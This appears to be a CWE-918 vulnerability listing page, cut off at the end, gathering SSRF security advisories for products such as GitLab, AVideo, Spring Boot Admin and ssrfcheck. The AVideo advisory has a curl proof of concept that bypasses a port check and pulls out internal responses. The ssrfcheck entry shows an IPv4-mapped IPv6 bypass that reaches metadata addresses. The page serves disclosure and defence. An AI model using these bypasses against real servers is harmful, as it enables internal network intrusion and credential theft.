Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4742 vulnerabilities reference this CWE, most recent first.

GHSA-J429-5XWX-MJX2

Vulnerability from github – Published: 2025-09-22 21:30 – Updated: 2025-09-22 21:30
VLAI
Details

A security flaw has been discovered in SeriaWei ZKEACMS up to 4.3. This vulnerability affects the function CheckPage/Suggestions in the library cms-v4.3\wwwroot\Plugins\ZKEACMS.SEOSuggestions\ZKEACMS.SEOSuggestions.dll of the component SEOSuggestions. Performing manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-10765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-21T07:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in SeriaWei ZKEACMS up to 4.3. This vulnerability affects the function CheckPage/Suggestions in the library cms-v4.3\\wwwroot\\Plugins\\ZKEACMS.SEOSuggestions\\ZKEACMS.SEOSuggestions.dll of the component SEOSuggestions. Performing manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-j429-5xwx-mjx2",
  "modified": "2025-09-22T21:30:19Z",
  "published": "2025-09-22T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wooyun123/wooyun/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.325120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.325120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.647952"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J42X-RXGC-89XM

Vulnerability from github – Published: 2025-09-12 06:30 – Updated: 2025-09-12 06:30
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions from 16.11 before 18.1.6, 18.2 before 18.2.6, and 18.3 before 18.3.2 that could have allowed authenticated users to make unintended internal requests through proxy environments by injecting crafted sequences.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-6454"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-12T06:15:42Z",
    "severity": "HIGH"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions from 16.11 before 18.1.6, 18.2 before 18.2.6, and 18.3 before 18.3.2 that could have allowed authenticated users to make unintended internal requests through proxy environments by injecting crafted sequences.",
  "id": "GHSA-j42x-rxgc-89xm",
  "modified": "2025-09-12T06:30:26Z",
  "published": "2025-09-12T06:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-6454"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/3162711"
    },
    {
      "type": "WEB",
      "url": "https://about.gitlab.com/releases/2025/09/10/patch-release-gitlab-18-3-2-released"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/550766"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J432-4W3J-3W8J

Vulnerability from github – Published: 2026-04-14 23:22 – Updated: 2026-04-24 20:41
VLAI
Summary
WWBN AVideo has a SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL
Details

Summary

The isSSRFSafeURL() function in objects/functions.php contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches webSiteRootURL to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site's public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.

Details

Commit 40872e529 fixed an extension-based SSRF bypass by making isSSRFSafeURL() unconditional. However, isSSRFSafeURL() itself contains a same-domain shortcircuit that returns true when the URL's hostname matches webSiteRootURL's hostname, without validating the port:

// objects/functions.php:4290-4296
if (!empty($global['webSiteRootURL'])) {
    $siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
    if ($host === $siteHost) {
        _error_log("isSSRFSafeURL: allowing same-domain request to {$host} (matches webSiteRootURL)");
        return true;  // Returns immediately — port, path, scheme all unchecked
    }
}

The attack flow through objects/aVideoEncoder.json.php:

  1. User-supplied $_REQUEST['downloadURL'] is passed to downloadVideoFromDownloadURL() at line 166
  2. isSSRFSafeURL() is called at line 368 — passes due to hostname match
  3. url_get_contents($downloadURL) fetches the attacker-controlled URL at line 378
  4. Response is written to Video::getStoragePath() . "cache/tmpFile/" . basename($downloadURL) at line 393-395

The cache/tmpFile/ directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.

The auth requirement is User::canUpload() (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid video_id_hash (a per-video token) can be used via useVideoHashOrLogin() at line 57.

PoC

Assuming the AVideo instance is at https://avideo.example.com/ and an internal service runs on port 9998:

# Step 1: Authenticate and get cookies (any user with upload permission)
curl -c cookies.txt -X POST 'https://avideo.example.com/objects/login.json.php' \
  -d 'user=testuser&pass=testpass'

# Step 2: Send SSRF request targeting port 9998 on the same host
# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true
curl -b cookies.txt -X POST 'https://avideo.example.com/objects/aVideoEncoder.json.php' \
  -d 'format=mp4&downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4&videos_id=1&first_request=1'

# Step 3: Retrieve the exfiltrated response
# The file is saved to cache/tmpFile/ with the basename of the URL
curl 'https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4' -o response.bin

Note: The internal service response must be >= 20KB (or >= 5KB if the URL ends in .mp3) to pass the size check at line 384. For smaller responses, the attacker can target endpoints that return verbose output or append padding parameters.

The fix at 40872e529 specifically mentions blocking http://127.0.0.1:9998/probe.mp4. This bypass reaches the exact same internal service by replacing 127.0.0.1 with the site's public hostname — the DNS resolution points to the same server.

Impact

  • Internal service access: An authenticated attacker can reach any TCP port on the AVideo server that speaks HTTP, including databases with HTTP interfaces, monitoring endpoints, admin panels, cloud metadata services (if the hostname resolves to a cloud instance), and other co-hosted services.
  • Data exfiltration: Response bodies are written to a web-accessible directory, allowing the attacker to retrieve internal service responses.
  • Scope change: The vulnerability crosses from the AVideo application into other services on the same host, justifying S:C in CVSS scoring.
  • Bypass of existing fix: This directly circumvents the SSRF protection added in commit 40872e529.

Recommended Fix

The same-domain shortcircuit should validate that both the hostname and port match webSiteRootURL. Replace objects/functions.php lines 4290-4296:

// Allow same-domain requests ONLY if hostname AND port match webSiteRootURL
if (!empty($global['webSiteRootURL'])) {
    $siteHost = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_HOST));
    $sitePort = parse_url($global['webSiteRootURL'], PHP_URL_PORT);
    $siteScheme = strtolower(parse_url($global['webSiteRootURL'], PHP_URL_SCHEME));
    // Default port based on scheme if not explicitly set
    if (empty($sitePort)) {
        $sitePort = ($siteScheme === 'https') ? 443 : 80;
    }

    $urlPort = parse_url($url, PHP_URL_PORT);
    $urlScheme = strtolower(parse_url($url, PHP_URL_SCHEME));
    if (empty($urlPort)) {
        $urlPort = ($urlScheme === 'https') ? 443 : 80;
    }

    if ($host === $siteHost && $urlPort === $sitePort) {
        _error_log("isSSRFSafeURL: allowing same-domain request to {$host}:{$urlPort} (matches webSiteRootURL)");
        return true;
    }
}

This ensures the shortcircuit only fires for requests to the exact same origin (scheme-implied port or explicit port) as the configured site URL.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "wwbn/avideo"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "29.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41060"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-14T23:22:01Z",
    "nvd_published_at": "2026-04-21T23:16:21Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `isSSRFSafeURL()` function in `objects/functions.php` contains a same-domain shortcircuit (lines 4290-4296) that allows any URL whose hostname matches `webSiteRootURL` to bypass all SSRF protections. Because the check compares only the hostname and ignores the port, an attacker can reach arbitrary ports on the AVideo server by using the site\u0027s public hostname with a non-standard port. The response body is saved to a web-accessible path, enabling full exfiltration.\n\n## Details\n\nCommit `40872e529` fixed an extension-based SSRF bypass by making `isSSRFSafeURL()` unconditional. However, `isSSRFSafeURL()` itself contains a same-domain shortcircuit that returns `true` when the URL\u0027s hostname matches `webSiteRootURL`\u0027s hostname, without validating the port:\n\n```php\n// objects/functions.php:4290-4296\nif (!empty($global[\u0027webSiteRootURL\u0027])) {\n    $siteHost = strtolower(parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_HOST));\n    if ($host === $siteHost) {\n        _error_log(\"isSSRFSafeURL: allowing same-domain request to {$host} (matches webSiteRootURL)\");\n        return true;  // Returns immediately \u2014 port, path, scheme all unchecked\n    }\n}\n```\n\nThe attack flow through `objects/aVideoEncoder.json.php`:\n\n1. User-supplied `$_REQUEST[\u0027downloadURL\u0027]` is passed to `downloadVideoFromDownloadURL()` at line 166\n2. `isSSRFSafeURL()` is called at line 368 \u2014 passes due to hostname match\n3. `url_get_contents($downloadURL)` fetches the attacker-controlled URL at line 378\n4. Response is written to `Video::getStoragePath() . \"cache/tmpFile/\" . basename($downloadURL)` at line 393-395\n\nThe `cache/tmpFile/` directory is under the web-accessible videos storage path. The attacker can retrieve the file to exfiltrate the internal service response.\n\nThe auth requirement is `User::canUpload()` (line 59), which is satisfied by any authenticated user with upload permission. Alternatively, a valid `video_id_hash` (a per-video token) can be used via `useVideoHashOrLogin()` at line 57.\n\n## PoC\n\nAssuming the AVideo instance is at `https://avideo.example.com/` and an internal service runs on port 9998:\n\n```bash\n# Step 1: Authenticate and get cookies (any user with upload permission)\ncurl -c cookies.txt -X POST \u0027https://avideo.example.com/objects/login.json.php\u0027 \\\n  -d \u0027user=testuser\u0026pass=testpass\u0027\n\n# Step 2: Send SSRF request targeting port 9998 on the same host\n# The hostname matches webSiteRootURL so isSSRFSafeURL() returns true\ncurl -b cookies.txt -X POST \u0027https://avideo.example.com/objects/aVideoEncoder.json.php\u0027 \\\n  -d \u0027format=mp4\u0026downloadURL=http://avideo.example.com:9998/large-internal-endpoint.mp4\u0026videos_id=1\u0026first_request=1\u0027\n\n# Step 3: Retrieve the exfiltrated response\n# The file is saved to cache/tmpFile/ with the basename of the URL\ncurl \u0027https://avideo.example.com/videos/cache/tmpFile/large-internal-endpoint.mp4\u0027 -o response.bin\n```\n\nNote: The internal service response must be \u003e= 20KB (or \u003e= 5KB if the URL ends in `.mp3`) to pass the size check at line 384. For smaller responses, the attacker can target endpoints that return verbose output or append padding parameters.\n\nThe fix at `40872e529` specifically mentions blocking `http://127.0.0.1:9998/probe.mp4`. This bypass reaches the exact same internal service by replacing `127.0.0.1` with the site\u0027s public hostname \u2014 the DNS resolution points to the same server.\n\n## Impact\n\n- **Internal service access**: An authenticated attacker can reach any TCP port on the AVideo server that speaks HTTP, including databases with HTTP interfaces, monitoring endpoints, admin panels, cloud metadata services (if the hostname resolves to a cloud instance), and other co-hosted services.\n- **Data exfiltration**: Response bodies are written to a web-accessible directory, allowing the attacker to retrieve internal service responses.\n- **Scope change**: The vulnerability crosses from the AVideo application into other services on the same host, justifying S:C in CVSS scoring.\n- **Bypass of existing fix**: This directly circumvents the SSRF protection added in commit `40872e529`.\n\n## Recommended Fix\n\nThe same-domain shortcircuit should validate that both the hostname and port match `webSiteRootURL`. Replace `objects/functions.php` lines 4290-4296:\n\n```php\n// Allow same-domain requests ONLY if hostname AND port match webSiteRootURL\nif (!empty($global[\u0027webSiteRootURL\u0027])) {\n    $siteHost = strtolower(parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_HOST));\n    $sitePort = parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_PORT);\n    $siteScheme = strtolower(parse_url($global[\u0027webSiteRootURL\u0027], PHP_URL_SCHEME));\n    // Default port based on scheme if not explicitly set\n    if (empty($sitePort)) {\n        $sitePort = ($siteScheme === \u0027https\u0027) ? 443 : 80;\n    }\n\n    $urlPort = parse_url($url, PHP_URL_PORT);\n    $urlScheme = strtolower(parse_url($url, PHP_URL_SCHEME));\n    if (empty($urlPort)) {\n        $urlPort = ($urlScheme === \u0027https\u0027) ? 443 : 80;\n    }\n\n    if ($host === $siteHost \u0026\u0026 $urlPort === $sitePort) {\n        _error_log(\"isSSRFSafeURL: allowing same-domain request to {$host}:{$urlPort} (matches webSiteRootURL)\");\n        return true;\n    }\n}\n```\n\nThis ensures the shortcircuit only fires for requests to the exact same origin (scheme-implied port or explicit port) as the configured site URL.",
  "id": "GHSA-j432-4w3j-3w8j",
  "modified": "2026-04-24T20:41:01Z",
  "published": "2026-04-14T23:22:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-j432-4w3j-3w8j"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41060"
    },
    {
      "type": "WEB",
      "url": "https://github.com/WWBN/AVideo/commit/a0156a6398362086390d949190f9d52a823000ba"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/WWBN/AVideo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "WWBN AVideo has a SSRF via same-domain hostname with alternate port bypasses isSSRFSafeURL"
}

GHSA-J46X-WJ3P-R6QG

Vulnerability from github – Published: 2023-07-11 03:30 – Updated: 2024-04-04 05:54
VLAI
Details

SAP Solution Manager (Diagnostics agent) - version 7.20, allows an unauthenticated attacker to blindly execute HTTP requests. On successful exploitation, the attacker can cause a limited impact on confidentiality and availability of the application and other applications the Diagnostics Agent can reach.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-36925"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-117",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-07-11T03:15:10Z",
    "severity": "HIGH"
  },
  "details": "SAP Solution Manager (Diagnostics agent) - version 7.20, allows an unauthenticated attacker to blindly execute HTTP requests. On successful exploitation, the attacker can cause a limited impact on confidentiality and availability of the application and other applications the Diagnostics Agent can reach.\n\n",
  "id": "GHSA-j46x-wj3p-r6qg",
  "modified": "2024-04-04T05:54:47Z",
  "published": "2023-07-11T03:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-36925"
    },
    {
      "type": "WEB",
      "url": "https://me.sap.com/notes/3352058"
    },
    {
      "type": "WEB",
      "url": "https://www.sap.com/documents/2022/02/fa865ea4-167e-0010-bca6-c68f7e60039b.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J48Q-H4RM-WPHJ

Vulnerability from github – Published: 2025-06-27 09:31 – Updated: 2025-06-27 09:31
VLAI
Details

The Ninja Tables – Easy Data Table Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.18 via the args[url] parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2025-2940"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-06-27T09:15:25Z",
    "severity": "HIGH"
  },
  "details": "The Ninja Tables \u2013 Easy Data Table Builder plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 5.0.18 via the args[url] parameter. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application and can be used to query and modify information from internal services.",
  "id": "GHSA-j48q-h4rm-wphj",
  "modified": "2025-06-27T09:31:19Z",
  "published": "2025-06-27T09:31:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-2940"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ninja-tables/tags/5.0.18/vendor/wpfluent/framework/src/WPFluent/Http/Client.php#L268"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ninja-tables/tags/5.0.19/vendor/wpfluent/framework/src/WPFluent/Http/Client.php"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/ninja-tables/trunk/vendor/wpfluent/framework/src/WPFluent/Http/Client.php#L268"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=3269692%40ninja-tables\u0026new=3269692%40ninja-tables\u0026sfp_email=\u0026sfph_mail="
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/02480559-be5c-4d23-9e62-bb76fafb4f42?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J4C5-89F5-F3PM

Vulnerability from github – Published: 2026-04-25 23:49 – Updated: 2026-04-25 23:49
VLAI
Summary
OpenClaw: Browser CDP profile creation skipped strict-mode SSRF checks
Details

Affected Packages / Versions

  • Package: openclaw (npm)
  • Affected versions: < 2026.4.20
  • Patched version: 2026.4.20

Impact

Browser profile creation normalized cdpUrl values before persisting them, but did not apply the configured browser SSRF policy at creation time. In deployments that explicitly disabled private-network CDP targets, a stored profile could still point at a private-network or metadata endpoint and later be probed by normal profile status flows.

Default trusted-operator browser behavior allows private-network CDP endpoints, so this only affected strict-mode deployments. Severity is low.

Fix

OpenClaw now checks CDP endpoints against the browser SSRF policy during profile creation and reachability operations.

Fix commits:

  • 1fd049e3074cac72f6734a7fe88468c84f5f8bd7
  • e90c89cf8b1459f2aa1f3a665be67392b6c03fdf

Release

Fixed in OpenClaw 2026.4.20.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "openclaw"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2026.4.20"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-25T23:49:42Z",
    "nvd_published_at": null,
    "severity": "LOW"
  },
  "details": "## Affected Packages / Versions\n\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c 2026.4.20`\n- Patched version: `2026.4.20`\n\n## Impact\n\nBrowser profile creation normalized `cdpUrl` values before persisting them, but did not apply the configured browser SSRF policy at creation time. In deployments that explicitly disabled private-network CDP targets, a stored profile could still point at a private-network or metadata endpoint and later be probed by normal profile status flows.\n\nDefault trusted-operator browser behavior allows private-network CDP endpoints, so this only affected strict-mode deployments. Severity is low.\n\n## Fix\n\nOpenClaw now checks CDP endpoints against the browser SSRF policy during profile creation and reachability operations.\n\nFix commits:\n\n- `1fd049e3074cac72f6734a7fe88468c84f5f8bd7`\n- `e90c89cf8b1459f2aa1f3a665be67392b6c03fdf`\n\n## Release\n\nFixed in OpenClaw `2026.4.20`.",
  "id": "GHSA-j4c5-89f5-f3pm",
  "modified": "2026-04-25T23:49:42Z",
  "published": "2026-04-25T23:49:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-j4c5-89f5-f3pm"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/1fd049e3074cac72f6734a7fe88468c84f5f8bd7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openclaw/openclaw/commit/e90c89cf8b1459f2aa1f3a665be67392b6c03fdf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openclaw/openclaw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenClaw: Browser CDP profile creation skipped strict-mode SSRF checks"
}

GHSA-J4FV-R5W9-H675

Vulnerability from github – Published: 2024-06-26 06:30 – Updated: 2024-08-08 18:31
VLAI
Details

Apache XML Security for C++ through 2.0.4 implements the XML Signature Syntax and Processing (XMLDsig) specification without protection against an SSRF payload in a KeyInfo element. NOTE: the supplier disputes this CVE Record on the grounds that they are implementing the specification "correctly" and are not "at fault."

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-34580"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-06-26T05:15:51Z",
    "severity": "MODERATE"
  },
  "details": "Apache XML Security for C++ through 2.0.4 implements the XML Signature Syntax and Processing (XMLDsig) specification without protection against an SSRF payload in a KeyInfo element. NOTE: the supplier disputes this CVE Record on the grounds that they are implementing the specification \"correctly\" and are not \"at fault.\"",
  "id": "GHSA-j4fv-r5w9-h675",
  "modified": "2024-08-08T18:31:19Z",
  "published": "2024-06-26T06:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-34580"
    },
    {
      "type": "WEB",
      "url": "https://cloud.google.com/blog/topics/threat-intelligence/apache-library-allows-server-side-request-forgery"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zmanion/Vulnerabilities/blob/main/CVE-2024-21893.md"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/po2gocnw4gtf4boy5mmjb54g62qhbrl9"
    },
    {
      "type": "WEB",
      "url": "https://santuario.apache.org/download.html"
    },
    {
      "type": "WEB",
      "url": "https://shibboleth.atlassian.net/wiki/spaces/DEV/pages/3726671873/Santuario"
    },
    {
      "type": "WEB",
      "url": "https://www.sonatype.com/blog/the-exploited-ivanti-connect-ssrf-vulnerability-stems-from-xmltooling-oss-library"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-J4H2-3WWR-928R

Vulnerability from github – Published: 2026-07-14 00:31 – Updated: 2026-07-14 00:31
VLAI
Details

Spring Boot Admin Server before 4.1.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to register instances with attacker-controlled healthUrl and managementUrl parameters without validation against private IP ranges or metadata endpoints. Attackers can force the server to make HTTP requests to arbitrary internal addresses and retrieve response bodies via the actuator proxy to exfiltrate cloud credentials.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-62242"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T22:16:52Z",
    "severity": "HIGH"
  },
  "details": "Spring Boot Admin Server before 4.1.2 contains a server-side request forgery vulnerability that allows unauthenticated attackers to register instances with attacker-controlled healthUrl and managementUrl parameters without validation against private IP ranges or metadata endpoints. Attackers can force the server to make HTTP requests to arbitrary internal addresses and retrieve response bodies via the actuator proxy to exfiltrate cloud credentials.",
  "id": "GHSA-j4h2-3wwr-928r",
  "modified": "2026-07-14T00:31:04Z",
  "published": "2026-07-14T00:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62242"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codecentric/spring-boot-admin/issues/5452"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codecentric/spring-boot-admin/pull/5464"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codecentric/spring-boot-admin/commit/1f991ea013e46360b8f8fb63fe4ad20a9bf0d551"
    },
    {
      "type": "WEB",
      "url": "https://github.com/codecentric/spring-boot-admin/releases/tag/4.1.2"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/spring-boot-admin-server-ssrf-via-unauthenticated-instance-registration"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:N/SC:H/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J4RJ-2JR5-M439

Vulnerability from github – Published: 2026-05-05 20:29 – Updated: 2026-05-13 16:26
VLAI
Summary
ssrfcheck Vulnerable to Server-Side Request Forgery (SSRF) and Incomplete List of Disallowed Inputs
Details

Summary

ssrfcheck v1.3.0 (latest) fails to block Server-Side Request Forgery attacks when the target private IP address is encoded as an IPv4-mapped IPv6 address (e.g. http://[::ffff:127.0.0.1]/). The WHATWG URL parser built into Node.js silently normalizes the IPv4 notation inside the brackets to compressed hex form ([::ffff:7f00:1]) before the library's private-IP regex ever runs. The regex was written to match dot-notation only and therefore never matches any real input — all seven IANA private IPv4 ranges, including the AWS/GCP/Azure metadata address 169.254.169.254, are bypassed. Any application using isSSRFSafeURL() to guard HTTP requests made with user-supplied URLs is fully exposed to SSRF.


Details

Vulnerable file: src/is-private-ip.js

The library detects IPv6 private addresses using the privIp6() function. The relevant portion:

// src/is-private-ip.js  (lines ~40-60 of the published source)
function privIp6 (ip) {
  return /^::$/.test(ip) ||
    /^::1$/.test(ip) ||
    /^::f{4}:([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^::f{4}:0.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    /^64:ff9b::([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})\.([0-9]{1,3})$/.test(ip) ||
    // ... more patterns, all expect dot-notation ...
}

The third line is the IPv4-mapped IPv6 check. It expects input in the form ::ffff:127.0.0.1 (dots). However, the IP is extracted from the URL using url.hostname, which goes through the WHATWG URL parser first.

How WHATWG URL normalizes the address (src/parse-url.js):

const url = new URL(normalizeURLStr(input));   // WHATWG URL parser runs here
const ipcheck = trimBrackets(url.hostname);    // e.g. '::ffff:7f00:1'  ← hex, no dots
const ipVersion = isIP(ipcheck);               // returns 6

The WHATWG URL spec (§5.3 IPv6 serializer) converts all embedded IPv4 notation to two 16-bit hex groups during parsing:

127.0.0.1       → 0x7f000001 → [0x7f00, 0x0001] → serialized as 7f00:1
169.254.169.254 → 0xa9fea9fe → [0xa9fe, 0xa9fe] → serialized as a9fe:a9fe
192.168.1.1     → 0xc0a80101 → [0xc0a8, 0x0101] → serialized as c0a8:101

So by the time the regex /^::f{4}:(\d+)\.(\d+)\.(\d+)\.(\d+)$/ runs, the string it receives is ::ffff:7f00:1 — no dots, no match. The regex has been dead code since Node.js adopted WHATWG URL (v10+).

Entry point (src/index.js):

if (hostIsIp && (options.noIP || isLoopbackAddr(ip) || isPrivateIP(ip, ipVersion))) {
  return false;   // ← never reached for IPv4-mapped IPv6
}
return true;      // ← always reached → BYPASS

PoC

Environment: Node.js >= 10, ssrfcheck any version including v1.3.0 (latest). No configuration required — default options are vulnerable.

Setup:

mkdir ssrfcheck-poc && cd ssrfcheck-poc
npm init -y
npm install ssrfcheck

Step 1 — confirm WHATWG URL normalization:

node << 'EOF'
const addrs = [
  ['127.0.0.1',       'loopback'],
  ['169.254.169.254', 'AWS/GCP/Azure metadata'],
  ['192.168.1.1',     'private LAN'],
  ['10.0.0.1',        '10.x range'],
];
for (const [ip, label] of addrs) {
  const h = new URL('http://[::ffff:' + ip + ']/').hostname;
  console.log(label + ' -> ' + h);
}
EOF

Expected output — confirms WHATWG drops dots:

loopback              -> [::ffff:7f00:1]
AWS/GCP/Azure metadata -> [::ffff:a9fe:a9fe]
